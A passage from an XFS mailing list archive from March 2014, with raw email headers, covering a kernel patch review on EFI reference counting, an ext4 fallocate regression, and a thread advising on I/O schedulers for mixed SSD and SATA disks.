simply subtract one of the EFI references in xlog_recover_efi_pass2() where we insert the EFI into the AIL, so that it behaves exactly like the runtime case when later processing the EFDs. That is, in xlog_recover_efd_pass2() when we find a matching EFD we simply call xfs_efi_release() and that does all the freeing because we're removing the EFD reference which is the only remaining reference. Then in xlog_recover_process_efi(), we simply call xfs_efi_release() for the error cases to drop the last reference to the EFI, otherwise the commit of the EFD will free it because it calls xfs_efi_release() appropriately. > > @@ -3718,8 +3714,8 @@ STATIC int > xlog_recover_process_efis( > struct xlog *log) > { > - xfs_log_item_t *lip; > - xfs_efi_log_item_t *efip; > + struct xfs_log_item *lip; > + struct xfs_efi_log_item *efip; > int error = 0; > struct xfs_ail_cursor cur; > struct xfs_ail *ailp; > @@ -3753,12 +3749,13 @@ xlog_recover_process_efis( > error = xlog_recover_process_efi(log->l_mp, efip); > spin_lock(&ailp->xa_lock); > if (error) > - goto out; > + break; > lip = xfs_trans_ail_cursor_next(ailp, &cur); > } > -out: > xfs_trans_ail_cursor_done(ailp, &cur); > spin_unlock(&ailp->xa_lock); > + if (error) > + xfs_efi_clear_ail(ailp); > return error; > } If we fix the reference counting, then I think all we need here is: int error = 0; while (ail cursor next) { .... if (!error) error = xlog_recover_process_efi() else xfs_efi_release(efip) .... } So that any error will trigger freeing of all the other unprocessed EFIs on the AIL that are pending recovery without needing any more special looping.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From lczerner@redhat.com Mon Mar 17 05:48:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CCFD27F8B for ; Mon, 17 Mar 2014 05:48:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6B9E3AC003 for ; Mon, 17 Mar 2014 03:48:40 -0700 (PDT) X-ASG-Debug-ID: 1395053318-04cb6c5677606620001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EdAidQDd1ttWDPS1 for ; Mon, 17 Mar 2014 03:48:39 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2HAmasV020879 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 17 Mar 2014 06:48:36 -0400 Received: from vpn1-4-208.ams2.redhat.com (vpn1-4-208.ams2.redhat.com [10.36.4.208]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2HAmVB4024698 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 17 Mar 2014 06:48:33 -0400 Date: Mon, 17 Mar 2014 11:48:30 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: tytso@mit.edu cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 1/6 v2] ext4: Update inode i_size after the preallocation In-Reply-To: <20140317030201.GE14162@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 1/6 v2] ext4: Update inode i_size after the preallocation Message-ID: References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> <1393355679-11160-2-git-send-email-lczerner@redhat.com> <20140317030201.GE14162@thunk.org> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395053319 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Sun, 16 Mar 2014, tytso@mit.edu wrote: > Date: Sun, 16 Mar 2014 23:02:01 -0400 > From: tytso@mit.edu > To: Lukas Czerner > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com > Subject: Re: [PATCH 1/6 v2] ext4: Update inode i_size after the preallocation > > On Tue, Feb 25, 2014 at 08:14:34PM +0100, Lukas Czerner wrote: > > Currently in ext4_fallocate we would update inode size, c_time and sync > > the file with every partial allocation which is entirely unnecessary. It > > is true that if the crash happens in the middle of truncate we might end > > up with unchanged i size, or c_time which I do not think is really a > > problem - it does not mean file system corruption in any way. Note that > > xfs is doing things the same way e.g. update all of the mentioned after > > the allocation is done. > > > > This commit moves all the updates after the allocation is done. In > > addition we also need to change m_time as not only inode has been change > > bot also data regions might have changed (unwritten extents). However > > m_time will be only updated when i_size changed. > > > > Also we do not need to be paranoid about changing the c_time only if the > > actual allocation have happened, we can change it even if we try to > > allocate only to find out that there are already block allocated. It's > > not really a big deal and it will save us some additional complexity. > > > > Also use ext4_debug, instead of ext4_warning in #ifdef EXT4FS_DEBUG > > section. > > > > Signed-off-by: Lukas Czerner > > Further testing has shown that this patch (applied on top of the ext4 > dev branch) is causing a regression failure of xfstests shared/243. > > Could you take a look? > > - Ted Hi Ted, I am looking into this. Thanks! -Lukas From weber@zbfmail.de Mon Mar 17 10:35:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CD62E7F90 for ; Mon, 17 Mar 2014 10:35:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BA21130404E for ; Mon, 17 Mar 2014 08:35:24 -0700 (PDT) X-ASG-Debug-ID: 1395070519-04cb6c5676619930001-NocioJ Received: from mail.zbfmail.de (mail.zbfmail.de [176.9.84.12]) by cuda.sgi.com with ESMTP id TTHKvWSDEcE7QOnQ (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 17 Mar 2014 08:35:20 -0700 (PDT) X-Barracuda-Envelope-From: weber@zbfmail.de X-Barracuda-Apparent-Source-IP: 176.9.84.12 Received: from mail.zbfmail.de (localhost [127.0.0.1]) by mail.zbfmail.de (Postfix) with ESMTP id A8AC92F5BF for ; Mon, 17 Mar 2014 16:35:14 +0100 (CET) DKIM-Filter: OpenDKIM Filter v2.8.4 mail.zbfmail.de A8AC92F5BF DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zbfmail.de; s=dkim; t=1395070519; bh=JYL3BI7mmYto4W7KOhgjAFTckk4inoVX3GdTdCE3J7k=; h=Date:From:To:Subject:Reply-To; b=CxnzoX4F4cSBYJ9+4TKyktug3ylLxcjuuc5bwnBut/et04kZ5QvGfhW0vx9sYa8SQ 7o0WZYfxj9GTib7iMd/EMtun8JYfTH6uwHh9QBxZLCTT7fcL3QgzxgirKUR6j1RI8i A1LnmoquISNBBk0AU07NuHGfxsfl3VKdZfA/vdRk= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Date: Mon, 17 Mar 2014 16:35:14 +0100 From: Marko Weber|8000 To: Xfs Subject: elevator question Organization: zbf mail X-ASG-Orig-Subj: elevator question Reply-To: weber@zbfmail.de Mail-Reply-To: weber@zbfmail.de Message-ID: X-Sender: weber@zbfmail.de User-Agent: Roundcube zbfmail Webmail X-DCC-STAT_FI_X86_64_VIRTUAL-Metrics: mailserver 1245; Body=1 Fuz1=1 Fuz2=1 X-Barracuda-Connect: mail.zbfmail.de[176.9.84.12] X-Barracuda-Start-Time: 1395070520 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA148d, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3993 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.20 BSF_SC0_SA148d Custom Rule SA148d hello list, in the xfs faq i read elevator=noop is best when using ssd. i have the gentoo system on a ssd, but the larger data storage partition on softraid with some sata disks. is elevator=noop in this combo still best? thx for any cunstructive answer marko -- zbfmail - Mittendrin statt nur Datei! OpenDKIM, SPF, DSPAM, Greylisting, POSTSCREEN, AMAVIS, Mailgateways Mailfiltering, SMTP Service, Spam Abwehr, MX-Backup, Mailserver Backup Redundante Mailgateways, HA Mailserver, Secure Mailserver From neutrino8@gmail.com Mon Mar 17 10:39:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C37EE7F92 for ; Mon, 17 Mar 2014 10:39:38 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5D3AFAC003 for ; Mon, 17 Mar 2014 08:39:35 -0700 (PDT) X-ASG-Debug-ID: 1395070772-04cb6c5675619d90001-NocioJ Received: from mail-we0-f170.google.com (mail-we0-f170.google.com [74.125.82.170]) by cuda.sgi.com with ESMTP id 8OcVQnYnBKyAvzr0 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 17 Mar 2014 08:39:33 -0700 (PDT) X-Barracuda-Envelope-From: neutrino8@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.170 Received: by mail-we0-f170.google.com with SMTP id w61so4765222wes.29 for ; Mon, 17 Mar 2014 08:39:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=adWN6bE1QNXD32EYSS/YF6UBl0wlqsSkai0yd+P7qhM=; b=Hd5gXXaGwKaFGc/puvRBwe7Mj5uXTk00WF78UsVh26WW8LeYFkthVXQ04rKMCh1O7/ Bv0FlIPjy8bBp+gDrqv2P98+8k3F7JFrxZ3CjfvffHGu16SDO05ZeK/8HFXomPtiCqfh B4gmeQP3rhQTAMqM57tOc46mPK11RNjkRnXdQWf7cZc/ddeiWw2c6ocUXZNSmPhS4g+L qW/SOThe3iInES49BLjuwUcT8jp++oLCY0tjC/UkmXTMMDvaR8tYKeBzeHjvqAL1Tr6y piCtfjPvG/fURa6ffY5Tlqa8qeVrI1L8EfUMi7FPSa+gDyADrsdOMtOMQ3aW56yDVlFp qlOg== MIME-Version: 1.0 X-Received: by 10.194.85.168 with SMTP id i8mr665451wjz.81.1395070771733; Mon, 17 Mar 2014 08:39:31 -0700 (PDT) Received: by 10.227.145.68 with HTTP; Mon, 17 Mar 2014 08:39:31 -0700 (PDT) In-Reply-To: References: Date: Mon, 17 Mar 2014 16:39:31 +0100 Message-ID: Subject: Re: elevator question From: Grozdan X-ASG-Orig-Subj: Re: elevator question To: weber@zbfmail.de Cc: Xfs Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-we0-f170.google.com[74.125.82.170] X-Barracuda-Start-Time: 1395070772 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3993 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Mar 17, 2014 at 4:35 PM, Marko Weber|8000 wrote: > > hello list, > in the xfs faq i read elevator=noop is best when using ssd. > i have the gentoo system on a ssd, but the larger data storage partition on > softraid with some sata disks. > is elevator=noop in this combo still best? > > thx for any cunstructive answer > > marko noop and deadline are best for SSDs. deadline is best for spinning disks with XFS, especially in RAID. Stay away from CFQ as it kills parallelism in XFS > > > > -- > zbfmail - Mittendrin statt nur Datei! > > OpenDKIM, SPF, DSPAM, Greylisting, POSTSCREEN, AMAVIS, Mailgateways > Mailfiltering, SMTP Service, Spam Abwehr, MX-Backup, Mailserver Backup > Redundante Mailgateways, HA Mailserver, Secure Mailserver > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs -- Yours truly From weber@zbfmail.de Mon Mar 17 12:25:39 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4DACF7F99 for ; Mon, 17 Mar 2014 12:25:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3CB44304043 for ; Mon, 17 Mar 2014 10:25:36 -0700 (PDT) X-ASG-Debug-ID: 1395077133-04cbb054b842c9e0001-NocioJ Received: from mail.zbfmail.de (mail.zbfmail.de [176.9.84.12]) by cuda.sgi.com with ESMTP id 7n8OAAOdMInb6cBg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 17 Mar 2014 10:25:34 -0700 (PDT) X-Barracuda-Envelope-From: weber@zbfmail.de X-Barracuda-Apparent-Source-IP: 176.9.84.12 Received: from mail.zbfmail.de (localhost [127.0.0.1]) by mail.zbfmail.de (Postfix) with ESMTP id B6A6C30823 for ; Mon, 17 Mar 2014 18:25:32 +0100 (CET) DKIM-Filter: OpenDKIM Filter v2.8.4 mail.zbfmail.de B6A6C30823 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zbfmail.de; s=dkim; t=1395077132; bh=PfFcHk8MpuOBcJkrfQW2tljFV12WKhM6IvPEe1sNIaY=; h=Date:From:To:Subject:Reply-To:In-Reply-To:References; b=cu2fN+tqfODNk0CXFAa/pu1x2dnHYfgCsh6A9kWQqyCBARrlt5Md6EfgU/6kTeT7B FlV9yePb02VwRFOmDZR1OQ9KbeLfKx4iKRqLhwKz2o3cZzOb6KtGtD3B89S0IDX2B+ eKy0BaC0tLoPB5Qi/VfxNuNOqqtBSYFAdbE7mFXI= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Date: Mon, 17 Mar 2014 18:25:32 +0100 From: Marko Weber|8000 To: Xfs Subject: Re: elevator question Organization: zbf mail X-ASG-Orig-Subj: Re: elevator question Reply-To: weber@zbfmail.de Mail-Reply-To: weber@zbfmail.de In-Reply-To: References: Message-ID: X-Sender: weber@zbfmail.de User-Agent: Roundcube zbfmail Webmail X-DCC-STAT_FI_X86_64_VIRTUAL-Metrics: mailserver 1245; Body=1 Fuz1=1 Fuz2=1 X-Barracuda-Connect: mail.zbfmail.de[176.9.84.12] X-Barracuda-Start-Time: 1395077133 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Am 2014-03-17 16:39, schrieb Grozdan: > On Mon, Mar 17, 2014 at 4:35 PM, Marko Weber|8000 > wrote: >> >> hello list, >> in the xfs faq i read elevator=noop is best when using ssd. >> i have the gentoo system on a ssd, but the larger data storage >> partition on >> softraid with some sata disks. >> is elevator=noop in this combo still best? >> >> thx for any cunstructive answer >> >> marko > > noop and deadline are best for SSDs. deadline is best for spinning > disks with XFS, especially in RAID. Stay away from CFQ as it kills > parallelism in XFS thx grozdan, but what, if i have mixed setup in a server ssd + sata ?? marko > >> >> >> >> -- >> zbfmail - Mittendrin statt nur Datei! >> >> OpenDKIM, SPF, DSPAM, Greylisting, POSTSCREEN, AMAVIS, Mailgateways >> Mailfiltering, SMTP Service, Spam Abwehr, MX-Backup, Mailserver Backup >> Redundante Mailgateways, HA Mailserver, Secure Mailserver >> >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs From sgosse@sgi.com Mon Mar 17 12:38:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8EBE97F9C for ; Mon, 17 Mar 2014 12:38:33 -0500 (CDT) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5852A304048; Mon, 17 Mar 2014 10:38:33 -0700 (PDT) Received: from P-EXMB2-DC21.corp.sgi.com ([169.254.2.132]) by pv-excas2-dc21.corp.sgi.com ([137.38.106.9]) with mapi id 14.03.0123.003; Mon, 17 Mar 2014 12:38:32 -0500 From: Shaun Gosse To: "weber@zbfmail.de" , Xfs Subject: RE: elevator question Thread-Topic: elevator question Thread-Index: AQHPQfaHzeF1m8nvG0maxIh4QxCtnJrlvhGAgAAdnwD//695UA== Date: Mon, 17 Mar 2014 17:38:32 +0000 Message-ID: <8D3FA7645C1CFC4E9E783D22B4C708647306B0F7@P-EXMB2-DC21.corp.sgi.com> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [134.15.0.52] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Marko, I haven't done this myself, so use at your own risk, but from the archlinux= wiki, there's an example of using udev to set one scheduler for non-rotati= onal disks and another for rotational, which sounds like a good general sol= ution for what you're looking for here: https://wiki.archlinux.org/index.php/Solid_State_Drives#Using_udev_for_one_= device_or_HDD.2FSSD_mixed_environment=20 Cheers, -Shaun -----Original Message----- From: xfs-bounces@oss.sgi.com [mailto:xfs-bounces@oss.sgi.com] On Behalf Of= Marko Weber|8000 Sent: Monday, March 17, 2014 12:26 PM To: Xfs Subject: Re: elevator question Am 2014-03-17 16:39, schrieb Grozdan: > On Mon, Mar 17, 2014 at 4:35 PM, Marko Weber|8000 > wrote: >>=20 >> hello list, >> in the xfs faq i read elevator=3Dnoop is best when using ssd. >> i have the gentoo system on a ssd, but the larger data storage=20 >> partition on softraid with some sata disks. >> is elevator=3Dnoop in this combo still best? >>=20 >> thx for any cunstructive answer >>=20 >> marko >=20 > noop and deadline are best for SSDs. deadline is best for spinning=20 > disks with XFS, especially in RAID. Stay away from CFQ as it kills=20 > parallelism in XFS thx grozdan, but what, if i have mixed setup in a server ssd + sata ?? marko >=20 >>=20 >>=20 >>=20 >> -- >> zbfmail - Mittendrin statt nur Datei! >>=20 >> OpenDKIM, SPF, DSPAM, Greylisting, POSTSCREEN, AMAVIS, Mailgateways=20 >> Mailfiltering, SMTP Service, Spam Abwehr, MX-Backup, Mailserver=20 >> Backup Redundante Mailgateways, HA Mailserver, Secure Mailserver >>=20 >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From eflorac@intellique.com Mon Mar 17 12:45:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0262A7F9F for ; Mon, 17 Mar 2014 12:45:24 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D8FF88F804B for ; Mon, 17 Mar 2014 10:45:17 -0700 (PDT) X-ASG-Debug-ID: 1395078315-04bdf05dac65df80001-NocioJ Received: from mail1.g1.pair.com (mail1.g1.pair.com [66.39.3.162]) by cuda.sgi.com with ESMTP id Yz3s6Rh8nqfk0iir for ; Mon, 17 Mar 2014 10:45:16 -0700 (PDT) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 66.39.3.162 Received: from localhost (localhost [127.0.0.1]) by mail1.g1.pair.com (Postfix) with SMTP id 7DABE2B73E; Mon, 17 Mar 2014 13:45:15 -0400 (EDT) Received: from harpe.intellique.com (labo.djinux.com [82.225.196.72]) by mail1.g1.pair.com (Postfix) with ESMTPSA id 547042B408; Mon, 17 Mar 2014 13:45:14 -0400 (EDT) Date: Mon, 17 Mar 2014 18:45:16 +0100 From: Emmanuel Florac To: weber@zbfmail.de Cc: Xfs Subject: Re: elevator question Message-ID: <20140317184516.091b253d@harpe.intellique.com> X-ASG-Orig-Subj: Re: elevator question In-Reply-To: References: Organization: Intellique X-Mailer: Claws Mail 3.9.2 (GTK+ 2.24.20; i486-slackware-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail1.g1.pair.com[66.39.3.162] X-Barracuda-Start-Time: 1395078315 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3996 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Mon, 17 Mar 2014 18:25:32 +0100 Marko Weber|8000 =E9crivait: > thx grozdan, > but what, if i have mixed setup in a server ssd + sata ?? >=20 Very easy, you can set the io scheduler for each device separately at will: echo 'noop' > /sys/block/sda/queue/scheduler echo 'deadline' > /sys/block/sdb/queue/scheduler You can put that in some startup script like /etc/rc.local. --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | | +33 1 78 94 84 02 ------------------------------------------------------------------------ From stan@hardwarefreak.com Mon Mar 17 17:51:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9F4617F6D for ; Mon, 17 Mar 2014 17:51:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3298DAC004 for ; Mon, 17 Mar 2014 15:51:03 -0700 (PDT) X-ASG-Debug-ID: 1395096662-04bdf076f039dbc0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id MeBIBEfoqAGPcoAp for ; Mon, 17 Mar 2014 15:51:02 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 445576C184; Mon, 17 Mar 2014 17:51:02 -0500 (CDT) Message-ID: <53277C56.7000002@hardwarefreak.com> Date: Mon, 17 Mar 2014 17:51:02 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: weber@zbfmail.de, Xfs Subject: Re: elevator question References: X-ASG-Orig-Subj: Re: elevator question In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1395096662 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 3/17/2014 10:35 AM, Marko Weber|8000 wrote: > > hello list, > in the xfs faq i read elevator=noop is best when using ssd. > i have the gentoo system on a ssd, but the larger data storage partition > on softraid with some sata disks. > is elevator=noop in this combo still best? The elevator is per physical device. For SSD use noop. But with your setup is doesn't matter as md/RAID will run at rust speed. A better solution is to remove the SSD partition from the md/RAID array, reshape/shrink/rebuild the array to make it happy, whatever is necessary after removing the SSD partition. Now configure the SSD partition as bcache and enable writeback policy. This will increase the performance of the rust array to SSD level for writes, and for reads after frequently accessed data is cached in your SSD. -- Stan From eller.gamer.derek329@gmail.com Mon Mar 17 18:22:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7FEF17F51 for ; Mon, 17 Mar 2014 18:22:41 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6F8B0304043 for ; Mon, 17 Mar 2014 16:22:38 -0700 (PDT) X-ASG-Debug-ID: 1395098556-04cb6c567663a790001-NocioJ Received: from mail-ig0-f195.google.com (mail-ig0-f195.google.com [209.85.213.195]) by cuda.sgi.com with ESMTP id wx2gZTpvcXsmkeip (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 17 Mar 2014 16:22:36 -0700 (PDT) X-Barracuda-Envelope-From: eller.gamer.derek329@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.195 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.195] Received: by mail-ig0-f195.google.com with SMTP id uq10so1223392igb.2 for ; Mon, 17 Mar 2014 16:22:36 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.195] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.195] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=5zQ0nQbGWglPg5l+7toCmkqPZg2o+z3wMghyUAz6Wq4=; b=JSKlfgxUHR5IXEHhp6dCNpgbVsTvK0edVMwH3Ct5sy7SMbgEmeIif6U87O8jbuXCN7 